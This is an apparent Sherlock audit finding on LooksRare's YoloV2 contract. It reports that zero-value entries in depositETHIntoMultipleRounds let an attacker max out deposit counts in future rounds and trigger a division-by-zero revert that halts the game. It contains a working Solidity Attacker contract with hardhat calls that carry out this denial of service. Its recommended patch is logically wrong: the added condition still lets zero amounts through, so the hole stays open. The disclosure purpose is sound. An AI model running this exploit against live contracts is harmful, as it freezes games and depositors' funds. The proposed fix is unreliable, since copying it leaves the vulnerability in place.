Handsome Vermilion Hamster

high

# The `depositETHIntoMultipleRounds` function does not check all values in the `amounts` array, so it can be used in attacks to stop multiple rounds.

## Summary
Instead of checking all values in the `amounts` array parameter, `depositETHIntoMultipleRounds` only checks `msg.value` and the expected deposit amount.
`_depositETH` function doesn't also check if `depositAmount` is zero.
`fulfillRandomWords` function doesn't check if `currentEntryIndex` is zero.

## Vulnerability Detail

https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L314-L316
https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L347-L349
https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1417-L1455
```solidity
function depositETHIntoMultipleRounds(uint256[] calldata amounts) external payable nonReentrant whenNotPaused {
        uint256 numberOfRounds = amounts.length;
314:     if (msg.value == 0 || numberOfRounds == 0) {
              revert ZeroDeposits();
316:     }

        uint256 startingRoundId = roundsCount;
        Round storage startingRound = rounds[startingRoundId];
        _validateRoundIsOpen(startingRound);

        _setCutoffTimeIfNotSet(startingRound);

        uint256 expectedValue;
        uint256[] memory entriesCounts = new uint256[](numberOfRounds);

        for (uint256 i; i < numberOfRounds; ++i) {
            uint256 roundId = _unsafeAdd(startingRoundId, i);
            Round storage round = rounds[roundId];
            uint256 roundValuePerEntry = round.valuePerEntry;
            if (roundValuePerEntry == 0) {
                (, , roundValuePerEntry) = _writeDataToRound({roundId: roundId, roundValue: 0});
            }

            _incrementUserDepositCount(roundId, round);

            uint256 depositAmount = amounts[i];
338:        if (depositAmount % roundValuePerEntry != 0) {
                revert InvalidValue();
            }
            uint256 entriesCount = _depositETH(round, roundId, roundValuePerEntry, depositAmount);
            expectedValue += depositAmount;

            entriesCounts[i] = entriesCount;
        }

        if (expectedValue != msg.value) {
            revert InvalidValue();
        }
        ...
```

 `depositETHIntoMultipleRounds`  does not check all values in `amounts` array parameter, so an attack is possible using this vulnerability. 
As we can see above code snippet, L314 checks only if `msg.value` is not zero, and L338 checks if `depositAmount % roundValuePerEntry` is not zero.
That is, the attacker sets only one entry to the minimum value 'valuePerEntry' and sets the other entries to 0.

## Proof of Concept
Attacker can set `amounts` to [valuePerEntry, 0, 0, ..., 0] and call  `depositETHIntoMultipleRounds`  `MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND - 1` times.
`MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND - 1` = 99
Attacker may set `amounts`'s length to arbitrary value by adding zero continuously. 

```sh
1st call: [valuePerEntry, 0, 0, ... 0]
2nd call: [valuePerEntry, 0, 0, ... 0]
...
99th call: [valuePerEntry, 0, 0, ... 0]
```
so attacker sets `msg.value` to `valuePerEntry * 99`.

deposit amounts per round would be like this.
```sh
round[roundsCount]: valuePerEntry * 99 // current round
round[roundsCount + 1]: 0
round[roundsCount + 2]: 0
...
round[roundsCount + m]: 0 // here m is zero's count - 1 in `amounts`
``` 

deposit counts per round for attacker would be like this.
```sh
round[roundsCount][attacker address] = 99
round[roundsCount + 1][attacker address] = 99
...
round[roundsCount + m][attacker address] = 99
```

Here is my attack contract.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {YoloV2} from "./YoloV2.sol";

contract Attacker {

    YoloV2 private yolo;
    constructor(YoloV2 yolo_) payable {
        yolo = yolo_;
    }

    function attack(bool _initialOrStop) public {
        uint256 ATTACK_ROUNDS = 10000;
        uint256 DEPOST_COUNTS = 99; // MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND - 1
        uint96 valuePerEntry = yolo.valuePerEntry();
        uint256[] memory amounts = new uint256[](ATTACK_ROUNDS);
        amounts[0] = valuePerEntry;
        for(uint256 i = 1; i < ATTACK_ROUNDS; ++i) {
            amounts[i] = 0;
        }

        if (_initialOrStop)
            for (uint256 i = 0; i < DEPOST_COUNTS; ++i) {
                yolo.depositETHIntoMultipleRounds{value: valuePerEntry}(amounts);
            }
        else
            yolo.depositETHIntoMultipleRounds{value: valuePerEntry}(amounts);
    }

}
```
After the deployment of `Attacker` contract, tested in hardhat like this.

```javascript
const { ethers, upgrades } = require('hardhat');
let [attacker1, attacker2] = await ethers.getSigners();
let attacker = await (await ethers.getContractFactory('Attacker')).deploy(YOLOV2_ADDRESS);

await attacker.connect(attacker1).attack(true, {value: ethers.utils.parseEther("2")});
```
Attacker can take additional action to stop the YOLOV2 like this. 
```javascript
await attacker.connect(attacker2).attack(false); 
```

## Impact
There are 2 impacts due to above attack.
One is that an user which participates in upcoming rounds  will be the `winner`, but can't earn. 
Only one user can participate in upcoming rounds, because `roundDepositCount` should not be bigger than `MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND`.
If any user deposits in upcoming rounds, then he would be the winner.
Because deposit amount of attacker is zero, so he can't get any other deposit but should pay round fee, so he will lose by fee even though he is the winner.

Another is for attacker to stop upcoming rounds by calling `depositETHIntoMultipleRounds` once more.
When attacker calls `depositETHIntoMultipleRounds` function with ` [valuePerEntry, 0, 0, ... 0]` using another address, then all deposits for upcoming rounds will reach `MAXIMUM_NUMBER_OF_DEPOSITS_PER_ROUND`  with zero deposit amounts for all rounds.
So `_shouldDrawWinner` will be true, and run `_drawWinner`.
`VRF_COORDINATOR` will call `fulfillRandomWords` after randomness request,  and fail and be reverted because `currentEntryIndex` is zero, `randomWord % currentEntryIndex` is division by zero. 

```solidity
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
        if (randomnessRequests[requestId].exists) {
            uint256 roundId = randomnessRequests[requestId].roundId;
            Round storage round = rounds[roundId];

            if (round.status == RoundStatus.Drawing) {
                round.status = RoundStatus.Drawn;
                uint256 randomWord = randomWords[0];
                randomnessRequests[requestId].randomWord = randomWord;

                uint256 count = round.deposits.length;
                uint256[] memory currentEntryIndexArray = new uint256[](count);
                for (uint256 i; i < count; ++i) {
                    currentEntryIndexArray[i] = uint256(round.deposits[i].currentEntryIndex);
                }

1286:           uint256 currentEntryIndex = currentEntryIndexArray[_unsafeSubtract(count, 1)];
1287:           uint256 winningEntry = _unsafeAdd(randomWord % currentEntryIndex, 1);
                round.winner = round.deposits[currentEntryIndexArray.findUpperBound(winningEntry)].depositor;
                round.protocolFeeOwed = (round.valuePerEntry * currentEntryIndex * round.protocolFeeBp) / 10_000;

                emit RoundStatusUpdated(roundId, RoundStatus.Drawn);

1293:           _startRound({_roundsCount: roundId});
            }
        }
    }
```
In L1286` currentEntryIndex` will be zero, L1287 would fail and reverted by division error, so can't run `_startRound`  at L1293.
So the game will be stopped in that round.

## Code Snippet
https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L314-L316
https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L347-L349
https://github.com/sherlock-audit/2024-01-looksrare/blob/main/contracts-yolo/contracts/YoloV2.sol#L1417-L1455

## Tool used

Manual Review

## Recommendation

L338 should be modified to check the condition `depositAmount != 0`
```solidity
-    if (depositAmount % roundValuePerEntry != 0) {
+    if (depositAmount != 0 && depositAmount % roundValuePerEntry != 0) {
        revert InvalidValue();
    }
```
